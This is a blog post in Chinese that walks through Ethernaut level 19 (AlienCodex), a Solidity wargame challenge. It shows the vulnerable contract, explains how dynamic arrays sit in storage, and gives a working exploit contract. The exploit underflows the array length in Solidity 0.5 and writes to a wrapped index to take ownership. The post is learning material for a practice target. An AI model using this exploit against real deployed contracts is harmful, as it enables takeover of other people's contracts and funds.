DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 19(AlienCodex)

LEVEL 19 (AlienCodex):

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import './helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

owner = player

要点

1.storage如何存储
https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html

2.计算溢出 (旧版会溢出,0.8后会异常,这关就不存在了)

解题思路

首先要了解storage里动态数组如何存储

Slot                  Data
------------------------------
0                     owner, contact
1                     codex.length      #p = 1
.
.
keccak256(p)          codex[0]     
keccak256(p) + 1      codex[1]
.
.
keccak256(p) + index  codex[index]
.
Enter fullscreen mode Exit fullscreen mode

contracts/19AlienCodexRun.sol

  function run(address _runAddress,address _playerAddress) external payable {
    ILevel level = ILevel(_runAddress);
    level.make_contact();
    //先回退,0.5版本会溢出,数组长度变很长
    level.retract();
    bytes32 arrSlot = keccak256(abi.encodePacked(uint256(1)));    
    uint256 gap = (type(uint256).max - uint256(arrSlot)) + 1;
    //传入GAP会导致arrSlot+gag溢出后=0,即设置slot:0,这个位置用于存owner和bool contact
    level.revise(gap, bytes32(uint256(uint160(_playerAddress))));
  }

Enter fullscreen mode Exit fullscreen mode

Top comments (0)